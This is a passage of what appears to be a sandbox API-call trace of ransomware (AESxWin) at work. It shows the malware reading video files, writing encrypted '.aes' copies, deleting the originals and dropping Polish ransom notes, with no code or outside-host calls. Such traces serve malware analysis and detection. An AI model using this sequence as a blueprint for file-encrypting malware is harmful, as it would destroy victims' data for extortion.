lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x49 [0097.010] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0097.010] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\r-_fu8vdku2twrl\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3ed9060, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xf3ed9060, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xf3ed9060, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0097.010] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0097.010] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0097.031] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL\\fcAcCQTQF.mp4", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL\\fcAcCQTQF.mp4", lpFilePart=0x0) returned 0x3c [0097.031] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0097.031] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL\\fcAcCQTQF.mp4" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\r-_fu8vdku2twrl\\fcaccqtqf.mp4"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cb3ba30, ftCreationTime.dwHighDateTime=0x1d2f695, ftLastAccessTime.dwLowDateTime=0x462f0970, ftLastAccessTime.dwHighDateTime=0x1d2f650, ftLastWriteTime.dwLowDateTime=0x462f0970, ftLastWriteTime.dwHighDateTime=0x1d2f650, nFileSizeHigh=0x0, nFileSizeLow=0x14de7)) returned 1 [0097.031] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0097.031] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL\\fcAcCQTQF.mp4", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL\\fcAcCQTQF.mp4", lpFilePart=0x0) returned 0x3c [0097.031] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0097.031] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL\\fcAcCQTQF.mp4" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\r-_fu8vdku2twrl\\fcaccqtqf.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x35c [0097.032] GetFileType (hFile=0x35c) returned 0x1 [0097.032] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0097.032] GetFileType (hFile=0x35c) returned 0x1 [0097.032] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL\\fcAcCQTQF.mp4.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL\\fcAcCQTQF.mp4.aes", lpFilePart=0x0) returned 0x40 [0097.032] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0097.032] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL\\fcAcCQTQF.mp4.aes" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\r-_fu8vdku2twrl\\fcaccqtqf.mp4.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x540 [0097.032] GetFileType (hFile=0x540) returned 0x1 [0097.032] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0097.032] GetFileType (hFile=0x540) returned 0x1 [0097.032] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0097.089] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x6ff3178 [0097.089] GetNetworkParams (in: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624 | out: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624) returned 0x0 [0097.097] LocalFree (hMem=0x6ff3178) returned 0x0 [0097.097] GetAdaptersAddresses () returned 0x6f [0097.102] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7042020 [0097.102] GetAdaptersAddresses () returned 0x0 [0097.110] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0097.120] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0097.120] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0097.150] LocalFree (hMem=0x1c8ab8) returned 0x0 [0097.150] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0097.158] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0097.158] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0097.164] LocalFree (hMem=0x1c8ab8) returned 0x0 [0097.165] LocalFree (hMem=0x7042020) returned 0x0 [0097.165] GetBestInterfaceEx (in: pDestAddr=0x286f898*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0097.282] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL\\fcAcCQTQF.mp4" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\r-_fu8vdku2twrl\\fcaccqtqf.mp4")) returned 1 [0097.282] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x49 [0097.282] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0097.282] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\r-_fu8vdku2twrl\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3ed9060, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xf3ed9060, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xf3ed9060, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0097.283] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0097.283] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0097.336] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL\\J2AjPHasg.mp4", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL\\J2AjPHasg.mp4", lpFilePart=0x0) returned 0x3c [0097.336] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0097.336] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL\\J2AjPHasg.mp4" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\r-_fu8vdku2twrl\\j2ajphasg.mp4"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffd1ce40, ftCreationTime.dwHighDateTime=0x1d2fe7e, ftLastAccessTime.dwLowDateTime=0x2a896660, ftLastAccessTime.dwHighDateTime=0x1d2f714, ftLastWriteTime.dwLowDateTime=0x2a896660, ftLastWriteTime.dwHighDateTime=0x1d2f714, nFileSizeHigh=0x0, nFileSizeLow=0xbaae)) returned 1 [0097.336] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0097.336] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL\\J2AjPHasg.mp4", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL\\J2AjPHasg.mp4", lpFilePart=0x0) returned 0x3c [0097.336] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0097.337] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL\\J2AjPHasg.mp4" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\r-_fu8vdku2twrl\\j2ajphasg.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0097.337] GetFileType (hFile=0x61c) returned 0x1 [0097.337] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0097.337] GetFileType (hFile=0x61c) returned 0x1 [0097.337] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL\\J2AjPHasg.mp4.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL\\J2AjPHasg.mp4.aes", lpFilePart=0x0) returned 0x40 [0097.337] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0097.337] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL\\J2AjPHasg.mp4.aes" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\r-_fu8vdku2twrl\\j2ajphasg.mp4.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x35c [0097.337] GetFileType (hFile=0x35c) returned 0x1 [0097.337] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0097.337] GetFileType (hFile=0x35c) returned 0x1 [0097.337] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0097.345] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x6ff3178 [0097.345] GetNetworkParams (in: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624 | out: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624) returned 0x0 [0097.352] LocalFree (hMem=0x6ff3178) returned 0x0 [0097.352] GetAdaptersAddresses () returned 0x6f [0097.357] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7042020 [0097.358] GetAdaptersAddresses () returned 0x0 [0097.363] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0097.369] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0097.369] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0097.498] LocalFree (hMem=0x1c8ab8) returned 0x0 [0097.498] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0097.504] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0097.504] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0097.511] LocalFree (hMem=0x1c8ab8) returned 0x0 [0097.511] LocalFree (hMem=0x7042020) returned 0x0 [0097.511] GetBestInterfaceEx (in: pDestAddr=0x290c8f8*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0097.702] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL\\J2AjPHasg.mp4" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\r-_fu8vdku2twrl\\j2ajphasg.mp4")) returned 1 [0097.703] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x49 [0097.703] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0097.703] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\r-_fu8vdku2twrl\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3ed9060, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xf3ed9060, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xf3ed9060, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0097.703] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0097.703] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0097.767] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\empW-4AlIY3p9Rubm.mp4", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\empW-4AlIY3p9Rubm.mp4", lpFilePart=0x0) returned 0x34 [0097.767] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0097.767] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\empW-4AlIY3p9Rubm.mp4" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\empw-4aliy3p9rubm.mp4"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24ae8050, ftCreationTime.dwHighDateTime=0x1d2f8e9, ftLastAccessTime.dwLowDateTime=0x1025b7a0, ftLastAccessTime.dwHighDateTime=0x1d303a9, ftLastWriteTime.dwLowDateTime=0x1025b7a0, ftLastWriteTime.dwHighDateTime=0x1d303a9, nFileSizeHigh=0x0, nFileSizeLow=0xf1c)) returned 1 [0097.767] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0097.767] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\empW-4AlIY3p9Rubm.mp4", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\empW-4AlIY3p9Rubm.mp4", lpFilePart=0x0) returned 0x34 [0097.767] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0097.767] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\empW-4AlIY3p9Rubm.mp4" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\empw-4aliy3p9rubm.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x35c [0097.767] GetFileType (hFile=0x35c) returned 0x1 [0097.767] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0097.767] GetFileType (hFile=0x35c) returned 0x1 [0097.767] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\empW-4AlIY3p9Rubm.mp4.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\empW-4AlIY3p9Rubm.mp4.aes", lpFilePart=0x0) returned 0x38 [0097.767] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0097.767] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\empW-4AlIY3p9Rubm.mp4.aes" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\empw-4aliy3p9rubm.mp4.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x540 [0097.768] GetFileType (hFile=0x540) returned 0x1 [0097.768] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0097.768] GetFileType (hFile=0x540) returned 0x1 [0097.769] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0097.873] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x6ff3178 [0097.873] GetNetworkParams (in: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624 | out: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624) returned 0x0 [0097.880] LocalFree (hMem=0x6ff3178) returned 0x0 [0097.880] GetAdaptersAddresses () returned 0x6f [0097.885] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7042020 [0097.885] GetAdaptersAddresses () returned 0x0 [0097.890] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0097.896] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0097.896] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0097.903] LocalFree (hMem=0x1c8ab8) returned 0x0 [0097.903] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0097.968] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0097.968] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0097.974] LocalFree (hMem=0x1c8ab8) returned 0x0 [0097.975] LocalFree (hMem=0x7042020) returned 0x0 [0097.975] GetBestInterfaceEx (in: pDestAddr=0x2977958*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0098.072] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\empW-4AlIY3p9Rubm.mp4" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\empw-4aliy3p9rubm.mp4")) returned 1 [0098.072] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x39 [0098.073] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0098.073] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0098.073] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0098.073] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\AESxWin", ulOptions=0x0, samDesired=0x20019, phkResult=0x77cea88 | out: phkResult=0x77cea88*=0x35c) returned 0x0 [0098.073] RegQueryValueExW (in: hKey=0x35c, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x0, lpcbData=0x77ceaa4*=0x0 | out: lpType=0x77ceaa8*=0x1, lpData=0x0, lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0098.073] RegQueryValueExW (in: hKey=0x35c, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x2a3ddc0, lpcbData=0x77ceaa4*=0x4a | out: lpType=0x77ceaa8*=0x1, lpData="0b75c6dd-d172-492e-b7be-2c05de30e808", lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0098.073] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce508, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x39 [0098.073] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9e4) returned 1 [0098.073] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\#$# jak-odzyskac-pliki.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x540 [0098.073] GetFileType (hFile=0x540) returned 0x1 [0098.073] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9e0) returned 1 [0098.073] GetFileType (hFile=0x540) returned 0x1 [0098.073] WriteFile (in: hFile=0x540, lpBuffer=0x2a46d88*, nNumberOfBytesToWrite=0xa2c, lpNumberOfBytesWritten=0x77cea80, lpOverlapped=0x0 | out: lpBuffer=0x2a46d88*, lpNumberOfBytesWritten=0x77cea80*=0xa2c, lpOverlapped=0x0) returned 1 [0098.074] CloseHandle (hObject=0x540) returned 1 [0098.075] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0098.130] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\jJRuTZgC0AQOiwVU.flv", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\jJRuTZgC0AQOiwVU.flv", lpFilePart=0x0) returned 0x33 [0098.130] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0098.130] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\jJRuTZgC0AQOiwVU.flv" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\jjrutzgc0aqoiwvu.flv"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3361d460, ftCreationTime.dwHighDateTime=0x1d3043a, ftLastAccessTime.dwLowDateTime=0x693c85e0, ftLastAccessTime.dwHighDateTime=0x1d2f872, ftLastWriteTime.dwLowDateTime=0x693c85e0, ftLastWriteTime.dwHighDateTime=0x1d2f872, nFileSizeHigh=0x0, nFileSizeLow=0xcbbf)) returned 1 [0098.130] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0098.130] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\jJRuTZgC0AQOiwVU.flv", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\jJRuTZgC0AQOiwVU.flv", lpFilePart=0x0) returned 0x33 [0098.130] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0098.130] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\jJRuTZgC0AQOiwVU.flv" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\jjrutzgc0aqoiwvu.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x540 [0098.130] GetFileType (hFile=0x540) returned 0x1 [0098.130] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0098.130] GetFileType (hFile=0x540) returned 0x1 [0098.130] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\jJRuTZgC0AQOiwVU.flv.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\jJRuTZgC0AQOiwVU.flv.aes", lpFilePart=0x0) returned 0x37 [0098.130] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0098.130] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\jJRuTZgC0AQOiwVU.flv.aes" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\jjrutzgc0aqoiwvu.flv.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x468 [0098.130] GetFileType (hFile=0x468) returned 0x1 [0098.130] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0098.130] GetFileType (hFile=0x468) returned 0x1 [0098.131] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, 